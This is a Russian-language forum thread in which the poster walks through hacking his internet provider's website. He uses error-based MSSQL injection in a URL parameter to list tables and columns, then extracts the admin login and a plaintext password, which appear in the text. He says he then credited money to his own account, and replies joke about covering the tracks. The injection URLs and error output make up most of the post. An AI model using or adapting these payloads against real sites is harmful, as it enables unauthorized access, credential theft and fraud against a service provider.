Вступление Сидел я дома, скучно, решил поискать баги на сайте своего прова. Нашёл несколько бестолковых XSS но для прова довольно глупых, на странице входа в свой счёт в форме ввода пароля срабатывал простейший код алерта: Code: <script>alert()<script> Но XSS меня не интересовали. Моей целью было попасть в админку сайта, где можно было начилсять деньги на инет)) Нашёл MSSQL-Injection, но так как я не особо в этом шарил прочитал статью, спросил на форуме (gadjet'y спасибо). И начал копать... Реализация MSSQL-инъекции Для начала мне надо было знать имена таблиц в базе данных, для этого выполним следующий запрос, который возвратит нам имя первой таблицы: Code: http://sait-prova.ru/?page_id=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES)-- Этот запрос возвратил мне следующее: Code: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'DAYS_SERV_ORD_PAY_BAL' to a column of data type smallint. /Shared/Functions/F2.asp, line 76 DAYS_SERV_ORD_PAY_BAL - это и есть имя первой таблицы в базе данных. Далее чтобы узнать имя второй таблицы, выполняем следующий запрос: Code: http://sait-prova.ru/?page_id=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+(''DAYS_SERV_ORD_PAY_BAL'))-- После выполнения этого запроса, скрипт вернул мне следующее Code: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'X_Count_Of_Jeo_Modems' to a column of data type smallint. /Shared/Functions/F2.asp, line 76 Где, X_Count_Of_Jeo_Modems - как вы уже догадались, имя второй таблицы. Чтобы узнать имя третей таблицы выполняем следующий запрос Code: http://sait-prova.ru/?page_id=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+(''DAYS_SERV_ORD_PAY_BAL','X_Count_Of_Jeo_Modems'))-- В общем технология думаю ясна, для тех кто не понял, в скобки через запятую в кавычках нужно добавлять имя таблицы, которое возвращает скрипт. После того как я узнал имена где т 40 таблиц, и не нашёл нужной мне таблицы, решил попробовать следующий запрос: Code: http://sait-prova.ru/?page_id=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+LIKE+'%25login%25')-- Этот запрос возвращает нам имя таблицы которая соответствует критерию login: Запрос вернул мне следующее: Code: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'RAS_Accounts_AutoLogins' to a column of data type smallint. /Shared/Functions/F2.asp, line 76 Но это было не то что мне нужно, я решил попробовать вместо login подставить admin, и тут мне повезло) Срипт возвратил мне следующее: Code: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin' to a column of data type smallint. /Shared/Functions/F2.asp, line 76 Далее мне нужно было узнать имена столбцов в таблице admin, для этого выполняем слудеющий запрос: Code: http://sait-prova.ru/?page_id=(SELECT+TOP+1+COLUMN_NAME+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME='admin')-- Вернуло мне: Code: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Login' to a column of data type smallint. /Shared/Functions/F2.asp, line 76 Чтобы узнать имя следующего столбца выполняем запрос: Code: http://sait-prova.ru/?page_id=(SELECT+TOP+1+COLUMN_NAME+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME='admin'+AND+COLUMN_NAME+NOT+IN+('login'))-- Скрипт вернул мне: Code: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_password' to a column of data type smallint. /Shared/Functions/F2.asp, line 76 Продолжая мы получим остальные имена столбцов, пока скрипт не вернёт следующую ошибку: Code: error '80020009' Exception occurred. /Shared/Functions/InterfaceFunctions.asp, line 86 Теперь зная имена столбцов мы можем получить нужные нам данные. Выполним запрос который вернёт нам логин админа: Code: http://sait-prova.ru/?page_id=(SELECT+TOP+1+Login+FROM+admin)-- Скрипт вернул следующее: Code: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'MW-056417' to a column of data type smallint. /Shared/Functions/F2.asp, line 76 Так логин есть, это - MW-056417 Теперь узнаём пароль, запрос следующий: Code: (UNION+SELECT+TOP+1+admin_password+FROM+admin)-- Скрипт возвращает: Code: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'f1Ab7wxt2' to a column of data type smallint. /Shared/Functions/F2.asp, line 76 Пароль в бд находился в чистом виде)) Ну вот собственно и всё. Спасибо gadjet'y за помощь.
Молодец конечно ... но если тебя на форуме не станет через день другой - то все читавшие эту тему будут знать что могло случится ...
Пожалуйста, я не жадный. Вот видишь, если разобраться, почитать, то все получится. Хорошая статья. Тока, если мне не изменяет память, я пробовал запрос WHERE+TABLE_NAME+LIKE+'%25admin%25' )-- , и ничего не вылезло... А может быть и нет, я, честно говоря, уже подзабыл. P.S Подкинули бы, что-ли, и к моей репе плюсиков, не зря же я ему помогал.
На сколько я знаю, последний запрос должен был бы быть селект пассворд вром админ вэа логин = админ_логин. Но все ранво забавно. P.s. Я бы на всякий случай еще человекам 10 подкинул лавэ, чтобы искать сложнее было. P.P.S А почему не было юнионов в первых запросах? ))
Деньги я подкинул только себе, и только один раз! больше не буду, и подумываю над тем, чтобы сообщит админам о дыре найденой!
to podkashey Потому шо там синтаксис такой, без юнионов работает to Dimon Ты забыл написать, что такого на самом деле никогда не происходило и что ты выдумал это только в познавательных целях ))))
Собственно говоря, там до буя интересных таблиц, если поискать, то там можно нарыть много интересной информации.